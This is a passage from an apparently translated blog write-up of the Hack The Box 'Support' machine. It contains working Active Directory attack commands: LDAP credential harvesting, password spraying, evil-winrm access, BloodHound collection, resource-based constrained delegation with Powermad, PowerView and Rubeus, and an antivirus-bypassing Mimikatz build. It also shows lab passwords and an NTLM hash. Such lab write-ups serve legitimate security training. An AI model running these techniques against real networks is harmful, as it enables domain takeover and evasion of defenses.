src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0719.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, this was LDAP. I got stuck here. If it could connect automatically, I could not figure out how from IDA; that was a bit beyond me. I did learn about a new decompiler here, though, and it seemed friendlier. File inspection showed that UserInfo.exe was a .NET program, meaning it was written in C#, so I could use the decompiler below.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dnSpy/dnSpy/releases" target="_blank" rel="noopener"&#10; &gt;https://github.com/dnSpy/dnSpy/releases&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0720.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0721.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it. There were two approaches. One was static debugging: set a breakpoint, or take the encrypted value and find a way to decrypt it. But I could not read C#, did not know how it performed the encryption, and the exam did not allow me to ask AI. There was no way I could learn it on the spot. Even though I could not really read the language, the program logic was similar enough; only the syntax and functions differed. Still, I ruled out manual decryption here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0722.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The username was right there and was literally called ldap. I was not sure whether the quotation mark was part of the password, but I could test that shortly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldap:&amp;#34;nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The other option was dynamic analysis. The application did not encrypt the packets itself; what I had seen as encrypted traffic in Wireshark was OpenVPN encryption, which was why I could not inspect the actual contents. If I pointed the LDAP server at my own machine, however, the traffic would not pass through the VPN and I would receive everything in plaintext. This was actually what I had planned to do from the beginning because moving my VPN setup around was a pain, but I kept hitting an error that I had not solved. Time to fix it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.dedoimedo.com/computers/wine-dotnet-mono.html" target="_blank" rel="noopener"&#10; &gt;https://www.dedoimedo.com/computers/wine-dotnet-mono.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks" target="_blank" rel="noopener"&#10; &gt;https://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Using these two guides together solved the problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0723.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked normally now.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I tun0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wine UserInfo.exe -v find -first admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0724.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0725.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;On Kali, both Wireshark and Responder captured it without any problem. I had no idea why I could not capture it on Windows. Even when the domain pointed to the real IP, 10.10.11.174,&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0726.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;the traffic was still unencrypted and could be captured. Yet when I tried this on Windows at the start, it simply never worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0727.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0728.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing special here either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0729.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;WinRM did not work.&lt;/p&gt;&#10;&lt;p&gt;It seemed that I could only query LDAP. I could check whether any service accounts had SPNs, which might provide a foothold.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py support.htb/ldap:&amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34; -dc-ip 10.10.11.174 -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0730.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing turned up. I checked whether LDAP could reveal a few more users, then planned to spray the password I had just found against them.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://support.htb:389 -D &amp;#34;CN=ldap,CN=Users,DC=support,DC=htb&amp;#34; -w &amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34; -b &amp;#34;DC=support,DC=htb&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://support.htb:389 -D &amp;#34;CN=ldap,CN=Users,DC=support,DC=htb&amp;#34; -w &amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34; -b &amp;#34;DC=support,DC=htb&amp;#34; | grep -iE &amp;#34;mail&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0731.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I collected these accounts, but there was no real difference from what the program above had returned.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb support.htb -u 1.txt -p &amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0732.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No result. On the previous box, I noticed that many write-ups pasted the box description at the beginning, and those descriptions sometimes contained useful information. I was stuck here, so I went to read the description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0733.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That gave me an idea, although it felt like far too much of a spoiler—almost no different from reading a write-up. Still, I suppose this was one possible line of thought. The main goal was to learn the approach and the techniques.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0734.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If I had looked carefully, I could actually have spotted it. This user&amp;rsquo;s information had no mail field, the username did not contain a period, and the LDAP query did not return it alongside entries like the ones above. So you really do need to inspect everything carefully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;support:Ironside47pleasure40Watchful&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm support.htb -u support -p Ironside47pleasure40Watchful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d support.htb -u support -p Ironside47pleasure40Watchful -ns 10.10.11.174 -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0735.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0736.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I loaded the data into BloodHound to take a look.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0737.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked the help to see whether this could be exploited directly.&lt;/p&gt;&#10;&lt;p&gt;The tutorial did not recommend its first method, but it was still potentially usable.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user Administrator Password123! /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0738.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That produced an error, so I decided to use the second method it recommended.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First, upload PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upload ../../PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$UserPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0739.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, I could not change the password. This path was a dead end.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0740.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While exploring this route, I found that the current user had GenericAll over the Domain Admins group. I tried a method I found online:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/" target="_blank" rel="noopener"&#10; &gt;https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That failed too because I did not have enough privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0741.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0742.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I never expected the path to look like this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0743.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found it by following the hint. But when I tried SUPPORT as the starting point and DC.SUPPORT.HTB as the destination, this path did not appear. It also did not appear when I pointed it at administrator. At least I learned another method: in the future, I can use the current user&amp;rsquo;s group as the starting point and map a path to administrator.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0744.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started reading the help. Since it was all in English, I also found a blog on Google and used the two together.&lt;/p&gt;&#10;&lt;p&gt;It mentioned that resource-based constrained delegation was possible here. First, I prepared the following files and uploaded them to the target.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/GhostPack/Rubeus/releases/tag/1.6.4 Must be compiled manually&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;First, I created a computer account controlled by the current account. This required importing Powermad.ps1.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString &amp;#39;Summer2018&amp;#39; -AsPlainText -Force)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I imported PowerView.ps1 and retrieved the new computer account&amp;rsquo;s SID.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Next, I needed to use the SID of the computer added by the attacker as the principal, construct a generic ACE, and obtain the binary bytes of the new DACL/ACE. I did not fully understand the underlying mechanics of this step, so I would have to take it slowly. I had actually used resource-based constrained delegation on FOREST before and even took notes, but I had forgotten how it worked. This was a good chance to review it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;#34;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SDBytes = New-Object byte[] ($SD.BinaryLength)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD.GetBinaryForm($SDBytes, 0)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{&amp;#39;msds-allowedtoactonbehalfofotheridentity&amp;#39;=$SDBytes} -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer support -Properties msds-allowedtoactonbehalfofotheridentity | select -ExpandProperty msds-allowedtoactonbehalfofotheridentity&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe hash /password:Summer2018&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe hash /password:Summer2018 /user:attackersystem /domain:support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;According to the tutorial, this step should have given me the RC4 hash, but I got no output at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0745.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Absolutely nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0746.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It produced output on Kali. If I could not use this to obtain the RC4 hash, I would not be able to exploit the delegation.&lt;/p&gt;&#10;&lt;p&gt;I uploaded Mimikatz, but after the upload completed, I noticed that it had disappeared.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0747.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That confirmed it: antivirus was running on the target. It immediately killed the Mimikatz binary I uploaded, and that was also why Rubeus.exe had never run successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0" target="_blank" rel="noopener"&#10; &gt;https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I used the antivirus-bypass version from that repository. RC4 here was effectively the NTLM hash, so I hashed the password I had created.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0748.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7f4f718d5029000926a9278c5cfd0872&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The next step in the tutorial was to request an ST, but the command below still did not work.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe s4u /user:attackersystem$ /rc4:7f4f718d5029000926a9278c5cfd0872 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Mimikatz did not work either.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div 